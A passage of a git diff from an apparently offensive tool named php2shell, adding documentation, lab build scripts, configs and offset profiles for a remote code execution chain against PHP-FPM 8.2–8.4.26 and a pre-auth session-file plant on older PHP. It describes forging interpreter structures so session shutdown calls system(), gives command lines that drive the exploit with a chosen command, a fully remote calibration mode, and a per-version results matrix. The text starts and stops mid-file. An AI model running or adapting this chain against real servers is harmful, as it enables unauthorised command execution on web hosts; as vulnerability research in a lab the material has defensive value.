+- a fake `zend_execute_data` frame (80 B) whose arg 1 (`execute_data + 0x50`) + is a fake `zend_string` holding the command (≤ 87 bytes, no NUL); +- the command bytes themselves and a NUL terminator. + +The consume request's session contains `r|R:2`; the forged buffer supplies the +`R:2` target, so `r` becomes an `IS_REFERENCE` to the fake array. + +### 4. Fire — session shutdown calls `zif_system` + +`consume` attaches `r`; the worker's session shutdown path does the rest: + +1. `php_session_flush(1)` saves the session — plain arrays are never + addref'd, and `php_add_var_hash`'s temporary ADDREF is balanced by the + serialize var_hash destroy, so the save is safe; +2. `php_rshutdown_session_globals` → `zval_ptr_dtor(&PS(http_session_vars))` + destroys `r` → DELREF the reference 1→0 → `zend_reference_destroy` → + `i_zval_ptr_dtor(&ref->val)`; +3. the fake array's DELREF 1→0 → `zend_array_destroy` → + `pDestructor != ZVAL_PTR_DTOR` → `zend_hash_destroy` (flags 0x10, no + `HASH_FLAG_HAS_EMPTY_IND`, plain `pDestructor(&p->val)` loop); +4. `zif_system(frame)` runs with `RDI` = the execute frame; the fake + `zend_string` at arg 1 is the command. `popen` executes it; the RETVAL + write to garbage `RSI` and an interior `efree` abort the worker — + acceptable: the proof is on disk and FPM respawns the worker. + +`php_var_unserialize_destroy` is skipped at consume (level 2→1) and 8.4.26 +has no RSHUTDOWN cleanup, so the fake dtor chunk at `d + 0x400` is never +walked during the request. The next request that reaches RINIT memsets `BG` +and re-arms from scratch — each `endgame` run is self-contained. + +## Proof + +The default command is `id>out/p1` (FPM pool cwd is `lab/fpm/webroot`, so +`out/` is served statically by nginx as `/out/p1`). The consumer request +exits **HTTP 502** (worker death after fire) — that is expected. Fetch the +proof separately: + +```sh +curl http://127.0.0.1:8110/out/p1 +# uid=1000(...) gid=1000(...) groups=... +``` + +On the reference run the proof was `uid=1000` (the unprivileged lab user), +i.e. real command execution inside the FPM worker. + +## patchcheck + +`cmd_patchcheck` runs the arm/probe sequence against a build and reports the +stale state: + +```sh +python3 tools/php2shell_fpm.py patchcheck +# 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED +# 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe) +``` + +`patchcheck` iterates both laboratory builds (ports 8110/8120); it takes no +target arguments. + +## Laboratory + +`tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx +(no Docker, no root): + +| Build | chain HTTP | builder HTTP | chain FPM | builder FPM | +| --- | --- | --- | --- | --- | +| 7.2.34 | :8268 | :8269 | :9168 | :9169 | +| 7.4.33 | :8336 | :8337 | :9236 | :9237 | +| 8.2.34 | :8406 | :8407 | :9306 | :9307 | +| 8.3.35 | :8478 | :8479 | :9378 | :9379 | +| 8.4.0 | :8480 | :8481 | :9380 | :9381 | +| 8.4.25 | :8130 | :8131 | :9021 | :9022 | +| 8.4.26 | :8110 | :8111 | :9001 | :9002 | +| 8.4.27 | :8120 | :8121 | :9011 | :9012 | + +Every other built version gets a block of its own from +`php2shell_fpm_labs.builds_map()` (`make labs-fpm-ports` prints the mapping). + +Pools (from `lab/fpm/php-fpm.conf.in`): + +- **chain** — `memory_limit=8M`, session `cleanup=On` (the consumer worker); +- **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session + files consumed by `producer` and `build-oom`). + +The builder webroot includes `bigvar.php` (the arm used by `leak`), +`leakvar.php` (a tunable variant for geometry research) and `refb.php` (a +benign short session). `app.php` can emit `X-Debug-*` diagnostics to +`/tmp/p2s_dbg.txt`; those headers are lab-only instrumentation. + +Requirements: Python 3.11+, gcc for the user-prefix PHP builds +(`lab/fpm/build*.sh`). The default `endgame` also needs `yama +ptrace_scope=0` for the `/proc//mem` oracle; `no-oracle` does not. + +```sh +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 +python3 tools/php2shell_fpm_labs.py status +python3 tools/php2shell_fpm_labs.py smoke +python3 tools/php2shell_fpm_labs.py test # primitive + endgame end-to-end +python3 tools/php2shell_fpm_labs.py down +``` + +Starting 8.4.27 alone (`up --only 8.4.27`) needs the shared nginx already +running; if the port check fails, start the FPM workers directly: + +```sh +lab/fpm/runtime/php-8.4.27/sbin/php-fpm \ + -y lab/fpm/runtime/php-8.4.27/php-fpm.conf \ + -c lab/fpm/php.ini -p lab/fpm/runtime/php-8.4.27 --daemonize +``` + +## Driving the chain + +Directly (recommended first runs): + +```sh +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + primitive +# forged benign var_entries; observable via app.php (rvalue) + +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + endgame + +# same fire, no /proc//mem at exploit time +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + no-oracle +``` + +(Global options come before the subcommand.) + +Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes +to the FPM chain; the lab needs an explicit `--builder` because the consumer +endpoint alone is not enough for the 4 MB arm phase): + +```sh +python3 tools/php2shell_auto.py \ + -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +``` + +Tests: the unit suite always runs; the live lab tests are gated: + +```sh +python3 -m unittest discover -s tests -v # unit suite, skips live FPM +PHP2SHELL_FPM_LAB=1 python3 -m unittest \ + tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame + no-oracle live +``` + +## Session-file plant (PHP 5.4-8.x, `poison`) + +The other half of `session.upload_progress` works on **every** version, +including PHP <= 7.x where the struct-freeing chain does not apply: + +1. `MULTIPART_EVENT_FORMDATA` copies the session id **from the POST body** + without consulting `session.use_only_cookies`; +2. `MULTIPART_EVENT_FILE_START` installs it as `PS(id)` and writes the progress + data there — kept by `session.upload_progress.cleanup=Off` on the builder; +3. the upload **filename** is stored and serialized into that file, so chosen + bytes land in a session file of the attacker's choosing + (`php_session_valid_key` limits the name to `[a-zA-Z0-9,-]`, so it is inside + `save_path`, not a path traversal); +4. the application deserializes the file on its next `session_start()` and + reflects it — over HTTP, no `/proc` anywhere. + +```sh +python3 tools/php2shell_fpm.py --version 7.4.33 \ + --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \ + poison --sid plant7x --payload 'PLANTED_MARKER' +``` + +This is arbitrary **session-file write** pre-auth, not RCE by itself: the +serializer rejects keys containing `|` (so the key cannot smuggle objects) and +the files handler validates the id, which rules out path traversal. Turning the +plant into code execution needs an application gadget or a local file include +in the target — which is why PHP <= 7.x is reported as *session plant* and RCE +is reserved for 8.0+, where the struct-freeing chain applies. + +## Remote calibration (`calibrate`) + +`calibrate` derives everything a profile needs **with HTTP requests only** — +no `/proc`, no local shell, no FPM PID. It is the same traffic the exploit +sends, so a build that calibrates is a build that exploits: + +```sh +python3 tools/php2shell_fpm.py \ + --version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 \ + calibrate +``` + +Three phases, each validated by the answer of the target: + +1. **Leak geometry** — the forged `zend_string` header is tried at a few + content offsets; accepted when two consecutive OOB reads expose a chunk and + a PIE pointer at the *same* offsets (which also fixes `chunk_base_off`). +2. **Reclaim geometry** — a forged `IS_LONG` zval reflected by `app.php` needs + no PIE base, so it isolates the heap geometry (pad/size shapes and + `(chunk offset, content offset)` pairs). +3. **PIE base** — the leaked pointer is rounded to 2 MB boundaries and each + candidate is proven with a remote endgame until the proof file appears. + +The result is written into `profiles/-fpm.json`; `no-oracle` then +reproduces the RCE against that build. + +## Unpatched matrix (`php2shell_fpm_matrix.py`) + +`make matrix` (or `python3 tools/php2shell_fpm_matrix.py`) verifies the remote +chain on every unpatched build, one lab at a time so the ports never fight. For +each version it starts the lab, calibrates the profile over HTTP when it is not +verified yet, runs the 100%-remote `no-oracle` endgame, and prints one line per +version (patched releases are skipped by design): + +```text +7.2.34 SESSION PLANT pre-auth write into sess_ +7.4.33 SESSION PLANT pre-auth write into sess_ +8.2.34 REMOTE RCE uid=1000(...) ... +8.3.35 REMOTE RCE uid=1000(...) ... +8.4.25 REMOTE RCE uid=1000(...) ... +8.4.26 REMOTE RCE uid=1000(...) ... +``` + +## Limitations and future work + +- **Oracle lab mode.** `endgame` still uses the `/proc//mem` oracle to + resolve `d`. `no-oracle` drops that read at exploit time and leaks the + chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are + overrides/fallbacks. The shipped chain still targets the loopback lab. +- **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are + PIE-relative offsets for the exact FPM build; another distro or version + needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`). +- **Command length.** ≤ 87 bytes, no NUL (fake `zend_string` carrier). +- **Worker death is expected.** The RETVAL/`efree` abort after `zif_system` + kills the consumer worker; FPM respawns it. Long-lived targets see a brief + 502. +- **Two endpoints.** The arm phase must hit a larger pool than the consumer; + a single-endpoint deployment would OOM the consumer worker. +- **8.4.27+ is clean.** `PHP_RINIT(basic)` reclaims/memsets the state before + the window; `patchcheck` proves `level=0`. + +See `profiles/8.4.26-fpm.json` for the verified profile and +`tools/php2shell_fpm.py` for the implementation. diff --git a/docs/labs.md b/docs/labs.md index c534db7..c3a2eae 100644 --- a/docs/labs.md +++ b/docs/labs.md @@ -29,3 +29,36 @@ proof to `lab/rce/out//p1`. Builds without a verified RCE profile are refused by the dispatcher; they do not send the chain. Extending coverage means calibrating that build with `tools/php2shell_calibrate.py` and committing the resulting profile. + +## PHP-FPM laboratory (nginx + PHP-FPM, no Docker) + +The FPM chain uses a separate, rootless laboratory: user-prefix nginx and +PHP-FPM builds compiled by `lab/fpm/build_nginx.sh` and `lab/fpm/build_php.sh` +into `lab/fpm/runtime/` (git-ignored). No Docker, no root. One nginx front +serves a low-memory **chain** pool (8M, cleanup on) and a high-memory +**builder** pool (64M, cleanup off) per build, sharing a session directory. + +```sh +lab/fpm/build_nginx.sh +lab/fpm/build_php.sh 8.4.26 # any of 8.2.34, 8.3.35, 8.4.0, 8.4.25, 8.4.26 +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 +python3 tools/php2shell_fpm_labs.py status +python3 tools/php2shell_fpm_labs.py smoke +python3 tools/php2shell_fpm_labs.py down +``` + +Verified builds and their fixed ports (`make labs-fpm-ports` prints the map): + +| Build | chain HTTP | builder HTTP | chain FPM | builder FPM | +| --- | --- | --- | --- | --- | +| 7.2.34 | :8268 | :8269 | :9168 | :9169 | +| 7.4.33 | :8336 | :8337 | :9236 | :9237 | +| 8.2.34 | :8406 | :8407 | :9306 | :9307 | +| 8.3.35 | :8478 | :8479 | :9378 | :9379 | +| 8.4.0 | :8480 | :8481 | :9380 | :9381 | +| 8.4.25 | :8130 | :8131 | :9021 | :9022 | +| 8.4.26 | :8110 | :8111 | :9001 | :9002 | +| 8.4.27 | :8120 | :8121 | :9011 | :9012 | + +The full chain, the `calibrate`/`poison`/`no-oracle` commands and the unpatched +matrix runner are documented in [fpm-chain.md](fpm-chain.md). diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md index 49e2813..bed93b8 100644 --- a/docs/profile-inventory.md +++ b/docs/profile-inventory.md @@ -8,13 +8,21 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`. | 8.0.30 | php-8.0.30-bookworm-aarch64 | 0x31ef70 | 0x40ddb0 | - | - | - | - | no | | 8.1.34 | php-8.1.34-bookworm-aarch64 | 0x341e08 | 0x42e7a0 | - | - | - | - | no | | 8.2.34 | php-8.2.34-bookworm-aarch64 | 0x36ff48 | 0x4606c0 | - | 0 | 0 | 406 | no | +| 8.3.0 | php-8.3.0-bookworm | 0x3771f0 | 0x467cf0 | - | - | - | 406 | no | | 8.3.33 | php-8.3.33-wordpress-mod_php | 0x377248 | 0x4737e0 | - | 815 | 63 | 406 | no | | 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no | | 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes | +| 8.4.26 | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | +| 8.5.0 | php-8.5.0-bookworm | 0x503510 | 0x731d80 | - | 841 | 63 | 406 | no | | 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes | +| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | + +**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). The FPM +row is an amd64 user-prefix build; its stage columns do not apply. The +`no-oracle` path leaks the chunk and PIE bases over HTTP from the stale session +string; the lab-only `endgame` can still read them through `/proc`. ## Per-build notes @@ -38,6 +46,18 @@ This is the 8.5 branch, fixed in 8.5.12. `php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory. Fixed in 8.4.27. This is the profile used against the local 8.4.26 laboratory. +### PHP 8.4.26 FPM — RCE verified + +nginx + PHP-FPM, amd64, user-prefix build of the php-8.4.26 source tarball +(no Docker image; built by `lab/fpm/build_php.sh`). Exploits the stale +`BG(unserialize)` state instead of the Apache progress-cache chain — the +stage columns do not apply. `basic_globals=0xa04660`, `struct_size=8216`; +the 8216-byte struct recycles between two heap slots and a mismatch +self-corrects within four retries. Verified `uid=...` proof in the local +laboratory; `php2shell_fpm.py patchcheck` confirms 8.4.27 is clean +(`level=0`, workers survive). Fixed in 8.4.27. See +[docs/fpm-chain.md](fpm-chain.md). + ### PHP 8.3.35 — leaks only `php:8.3.35-apache`. Stage 1 (heap base) and stage 2 (libphp base) reproduce; diff --git a/docs/rce-guide.md b/docs/rce-guide.md index 2e1bd1c..edb807b 100644 --- a/docs/rce-guide.md +++ b/docs/rce-guide.md @@ -298,14 +298,17 @@ the RCE stage and prints what is still missing. ### Profile schema (`profiles/-.json`) +Apache/mod_php profile: + ```json { + "name": "php-8.4.26-bookworm-amd64", "php_version": "8.4.26", "branch": "8.4", "fixed_in": "8.4.27", + "sapi": "apache", "verified": true, "rce": true, - "upstream_profile": "bookworm", "libphp": { "zif_system": "0x465370", "zval_ptr_dtor": "0x65eb60", "htdata": "0x690d8" }, "stages": { "stage1_n": 841, "stage1_forge_len": 79, @@ -313,14 +316,40 @@ the RCE stage and prints what is still missing. "stage3_pads": [[31,31],[31,31],[31,31],[31,31],[31,31],[31,31]], "stage3_carrier": true }, - "requirements": { "display_errors": "On", "memory_limit": "8M", "workers": 1 } + "oom_mb": 12 +} +``` + +FPM profile (no heap-leak stages; the `fpm` block carries the +`BG(unserialize)` offsets — see [fpm-chain.md](fpm-chain.md)): + +```json +{ + "name": "php-8.4.26-fpm", + "php_version": "8.4.26", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "rce": true, + "libphp": { "zif_system": "0x386660", "zval_ptr_dtor": "0x54a0d0", "htdata": null }, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [4096, 4096, 4096], + "reclaim_size": 12288 + }, + "stages": {}, + "oom_mb": 4 } ``` -`rce` must stay `false` until the chain has executed a command on a replica of -that exact build. Same PHP version built by another distribution has different -`libphp` offsets and a different heap layout, so the version string alone is not -a build fingerprint. +The full machine-checked schema is `profiles/schema.json`; validate with +`make validate-profiles`. `rce` must stay `false` until the chain has +executed a command on a replica of that exact build. Same PHP version built +by another distribution has different offsets, so the version string alone is +not a build fingerprint. ### Scaling to more versions diff --git a/lab/fpm/build_all.sh b/lab/fpm/build_all.sh new file mode 100755 index 0000000..4893993 --- /dev/null +++ b/lab/fpm/build_all.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash +# build_all.sh — build several PHP-FPM versions into the lab runtime. +# +# Usage: lab/fpm/build_all.sh [ ...] +# lab/fpm/build_all.sh --range 8.4.0-8.4.26 +# +# Environment: +# PAR parallel build jobs (default: 4) +# JOBS make -j per build (default: 4) +# +# Each build reuses lab/fpm/build_php.sh, so the sources are downloaded once +# and the user prefix lands in lab/fpm/runtime/php-/. +set -uo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +PAR="${PAR:-4}" +JOBS="${JOBS:-4}" +LOGDIR="${LOGDIR:-$HERE/runtime/logs/builds}" + +mkdir -p "$LOGDIR" + +expand_range() { + # 8.4.0-8.4.26 -> 8.4.0 ... 8.4.26 + local spec="$1" first last prefix v + first="${spec%%-*}" + last="${spec##*-}" + prefix="${first%.*}." + for ((v = ${first##*.}; v <= ${last##*.}; v++)); do + printf '%s%d\n' "$prefix" "$v" + done +} + +VERSIONS=() +for arg in "$@"; do + case "$arg" in + --range) continue ;; + *-*) + while IFS= read -r line; do VERSIONS+=("$line"); done \ + < <(expand_range "$arg") + ;; + *) VERSIONS+=("$arg") ;; + esac +done + +if [ ${#VERSIONS[@]} -eq 0 ]; then + echo "usage: build_all.sh [ ...] | --range 8.4.0-8.4.26" + exit 2 +fi + +running=0 +failures=0 +for version in "${VERSIONS[@]}"; do + prefix="$HERE/runtime/php-$version" + if [ -x "$prefix/sbin/php-fpm" ]; then + echo "[=] $version: already built" + continue + fi + while [ "$(jobs -rp | wc -l)" -ge "$PAR" ]; do wait -n; done + ( + log="$LOGDIR/build-$version.log" + if "$HERE/build_php.sh" "$version" >"$log" 2>&1; then + echo "[+] $version: built" + else + echo "[!] $version: build failed (see $log)" + exit 1 + fi + ) & + running=$((running + 1)) +done +wait + +for version in "${VERSIONS[@]}"; do + prefix="$HERE/runtime/php-$version" + if [ ! -x "$prefix/sbin/php-fpm" ]; then + echo "[!] $version: missing $prefix/sbin/php-fpm" + failures=$((failures + 1)) + fi +done + +if [ "$failures" -gt 0 ]; then + echo "[!] $failures build(s) failed" + exit 1 +fi +echo "[+] all requested versions built" diff --git a/lab/fpm/build_nginx.sh b/lab/fpm/build_nginx.sh new file mode 100755 index 0000000..98f55c1 --- /dev/null +++ b/lab/fpm/build_nginx.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# build_nginx.sh — build a minimal nginx into a user prefix (no root). +# +# Usage: lab/fpm/build_nginx.sh [version] +# Result: lab/fpm/runtime/nginx/sbin/nginx +set -euo pipefail + +VER="${1:-1.26.3}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/nginx" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +if [ ! -d "$SRC/nginx-$VER" ]; then + TARBALL="$SRC/nginx-$VER.tar.gz" + if [ ! -f "$TARBALL" ]; then + echo "[*] downloading nginx-$VER" + curl -fsSL -o "$TARBALL" "https://nginx.org/download/nginx-$VER.tar.gz" + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +cd "$SRC/nginx-$VER" +if [ ! -f Makefile ] || ! grep -q "$PREFIX" Makefile 2>/dev/null; then + echo "[*] configuring nginx-$VER (no pcre/zlib deps)" + ./configure \ + --prefix="$PREFIX" \ + --without-http_gzip_module \ + --without-http_rewrite_module \ + --without-http_charset_module \ + --without-http_ssi_module \ + --without-http_userid_module \ + --without-http_access_module \ + --without-http_auth_basic_module \ + --without-http_autoindex_module \ + --without-http_geo_module \ + --without-http_map_module \ + --without-http_split_clients_module \ + --without-http_referer_module \ + --without-http_proxy_module \ + --with-cc-opt="-O2" >/dev/null +fi +echo "[*] building nginx-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +# `make install` would lay out conf/ and logs/ under the prefix; that is all we need. +make install >/dev/null +echo "[+] nginx ready: $PREFIX/sbin/nginx" +"$PREFIX/sbin/nginx" -v diff --git a/lab/fpm/build_php.sh b/lab/fpm/build_php.sh new file mode 100755 index 0000000..e7f3320 --- /dev/null +++ b/lab/fpm/build_php.sh @@ -0,0 +1,95 @@ +#!/usr/bin/env bash +# build_php.sh — build a vulnerable/fixed PHP with FPM into a user prefix. +# +# Usage: lab/fpm/build_php.sh [tarball] +# e.g. lab/fpm/build_php.sh 8.4.26 /tmp/opencode/php-8.4.26.tar.gz +# +# The result is lab/fpm/runtime/php-/{sbin/php-fpm,bin/php,...}. +# No root required. Extensions kept minimal: session + standard (zif_system). +set -euo pipefail + +VER="${1:?usage: build_php.sh [tarball]}" +TARBALL="${2:-}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/php-$VER" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +download_tarball() { + # A truncated download is a common failure mode: the archive is checked + # with gzip -t and re-fetched until it is intact. + local url tarball attempt + tarball="$1" + for attempt in 1 2 3; do + rm -f "$tarball" + for url in "https://www.php.net/distributions/php-$VER.tar.gz" \ + "https://museum.php.net/php8/php-$VER.tar.gz"; do + echo "[*] downloading php-$VER (attempt $attempt) from $url" + if curl -fsSL -o "$tarball" "$url" && gzip -t "$tarball" 2>/dev/null; then + return 0 + fi + echo "[!] download or archive check failed for php-$VER" + done + done + echo "[!] could not fetch a valid php-$VER tarball" + return 1 +} + +if [ ! -d "$SRC/php-$VER" ]; then + if [ -z "$TARBALL" ]; then + TARBALL="$SRC/php-$VER.tar.gz" + if [ ! -f "$TARBALL" ] || ! gzip -t "$TARBALL" 2>/dev/null; then + download_tarball "$TARBALL" + fi + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +# Legacy branches (7.x) mis-detect modern glibc in two places, both of which +# stop the build with a current toolchain: +# +# * readdir_r() is the POSIX three-argument form since glibc 2.30, while +# configure still selects the legacy two-argument one. PHP 7.2 also +# calls php_readdir_r() from ext/session/mod_files.c before including +# php_reentrancy.h, so the macro that maps it onto readdir_r() cannot be +# relied on: patch the call itself. +# * the fopencookie seek handler takes a pointer to an off64_t, a plain +# configure decision, so it is fixed in the generated php_config.h. +fix_legacy_config() { + local cfg="$SRC/php-$VER/main/php_config.h" + local reent="$SRC/php-$VER/main/reentrancy.c" + [ -f "$cfg" ] || return 0 + if grep -q '^/\* #undef COOKIE_SEEKER_USES_OFF64_T \*/' "$cfg"; then + sed -i 's|^/\* #undef COOKIE_SEEKER_USES_OFF64_T \*/|#define COOKIE_SEEKER_USES_OFF64_T 1|' \ + "$cfg" + fi + if [ -f "$reent" ] && grep -q '^ readdir_r(dirp, entry);$' "$reent"; then + sed -i 's|^ readdir_r(dirp, entry);$| struct dirent *r_dir_entry = NULL;\n readdir_r(dirp, entry, \&r_dir_entry);|' \ + "$reent" + fi +} + +cd "$SRC/php-$VER" +if [ ! -f Makefile ] || [ ! -f config.status ]; then + echo "[*] configuring php-$VER (fpm, session, minimal)" + ./configure \ + --prefix="$PREFIX" \ + --disable-all \ + --enable-cli \ + --enable-fpm \ + --enable-session \ + --without-pear \ + --disable-cgi \ + --disable-phpdbg \ + CFLAGS="${CFLAGS:--O2 -g}" +fi +fix_legacy_config +echo "[*] building php-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +make install >/dev/null +echo "[+] php-$VER ready: $PREFIX/sbin/php-fpm" +"$PREFIX/sbin/php-fpm" -v | head -1 diff --git a/lab/fpm/nginx.conf.in b/lab/fpm/nginx.conf.in new file mode 100644 index 0000000..db2aee9 --- /dev/null +++ b/lab/fpm/nginx.conf.in @@ -0,0 +1,26 @@ +# php2shell FPM laboratory — one nginx fronts every build under test. +# SERVERS placeholder is expanded by tools/php2shell_fpm_labs.py (one server +# block per version: chain port + builder port). +worker_processes 1; +error_log @RUNTIME@/logs/nginx-error.log warn; +pid @RUNTIME@/logs/nginx.pid; +daemon on; +master_process on; + +events { + worker_connections 1024; +} + +http { + include @NGINX_CONF@/mime.types; + default_type application/octet-stream; + access_log @RUNTIME@/logs/nginx-access.log; + sendfile on; + keepalive_timeout 65; + client_max_body_size 128m; + client_body_buffer_size 256k; + client_body_temp_path @RUNTIME@/logs/client_temp; + fastcgi_temp_path @RUNTIME@/logs/fastcgi_temp; + +@SERVERS@ +} diff --git a/lab/fpm/php-fpm.conf.in b/lab/fpm/php-fpm.conf.in new file mode 100644 index 0000000..4b798f6 --- /dev/null +++ b/lab/fpm/php-fpm.conf.in @@ -0,0 +1,60 @@ +; php2shell FPM laboratory — rendered per build by tools/php2shell_fpm_labs.py. +; Two pools share one binary: +; chain — the exploit target (8M, cleanup On), one static worker +; builder — builds large session files pure-HTTP (64M, cleanup Off) +[global] +pid = @RUNTIME@/logs/fpm.pid +error_log = @RUNTIME@/logs/fpm.log +log_level = notice +daemonize = yes +emergency_restart_threshold = 1000 + +[chain] +listen = 127.0.0.1:@CHAIN_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +request_terminate_timeout = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 8M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[max_input_vars] = 1000 +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = On +php_admin_value[session.upload_progress.enabled] = On +php_admin_value[session.use_cookies] = 1 +php_admin_value[session.use_strict_mode] = 0 +php_admin_flag[display_errors] = On +php_admin_flag[display_startup_errors] = On +php_admin_value[error_reporting] = E_ALL +php_admin_value[expose_php] = On +php_admin_value[error_log] = @RUNTIME@/logs/php-chain.log + +[builder] +listen = 127.0.0.1:@BUILDER_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 64M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = Off +php_admin_value[session.upload_progress.enabled] = On +php_admin_flag[display_errors] = On +php_admin_flag[display_startup_errors] = On +php_admin_value[error_reporting] = E_ALL +php_admin_value[expose_php] = On +php_admin_value[error_log] = @RUNTIME@/logs/php-builder.log diff --git a/lab/fpm/php.ini b/lab/fpm/php.ini new file mode 100644 index 0000000..491845e --- /dev/null +++ b/lab/fpm/php.ini @@ -0,0 +1,24 @@ +; php2shell FPM laboratory — calibration php.ini (mirrors lab/rce/php.ini). +; Per-pool overrides (memory_limit, cleanup, save_path) live in php-fpm.conf. +display_errors = On +display_startup_errors = On +error_reporting = E_ALL + +memory_limit = 8M +post_max_size = 128M +upload_max_filesize = 128M +max_input_vars = 1000 + +expose_php = On +enable_post_data_reading = On +auto_globals_jit = 0 + +session.use_strict_mode = 0 +session.use_cookies = 1 +session.use_only_cookies = 1 +session.upload_progress.enabled = On +session.upload_progress.cleanup = On +session.upload_progress.prefix = "upload_progress_" +session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" +session.upload_progress.freq = "1%" +session.upload_progress.min_freq = 0 diff --git a/lab/fpm/webroot/app.php b/lab/fpm/webroot/app.php new file mode 100644 index 0000000..160dfc1 --- /dev/null +++ b/lab/fpm/webroot/app.php @@ -0,0 +1,63 @@ + $v) { + if ($k === 'r' && !empty($_SERVER['HTTP_X_DEBUG_R'])) { + $dbg = "type=".gettype($v); + if (is_string($v)) { + $dbg .= " strlen=".strlen($v)." hex=".bin2hex(substr($v, 0, 64)); + } + if (is_object($v) || is_array($v)) { + $dbg .= " cls=".(is_object($v)?get_class($v):"arr"); + } + $ref = $_SESSION['r']; + $dbg .= " same=".($_SESSION['r'] === $v ? "Y":"N"); + file_put_contents('/tmp/p2s_dbg.txt', $dbg."\n", FILE_APPEND); + } + if (is_string($v)) { + echo $k, "\t", $v, "\n"; + } elseif (is_scalar($v) || $v === null) { + echo $k, "\t", var_export($v, true), "\n"; + } else { + echo $k, "\t", serialize($v), "\n"; + } +} +echo "SESSION_END\n"; diff --git a/lab/fpm/webroot/bigvar.php b/lab/fpm/webroot/bigvar.php new file mode 100644 index 0000000..3fbd85f --- /dev/null +++ b/lab/fpm/webroot/bigvar.php @@ -0,0 +1,23 @@ +/mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x80000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8c000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4a2c85", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7fb258000000 and the PIE base 0x5572fba00000 (leak+0x157e8 -> 0x4a2c85); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed 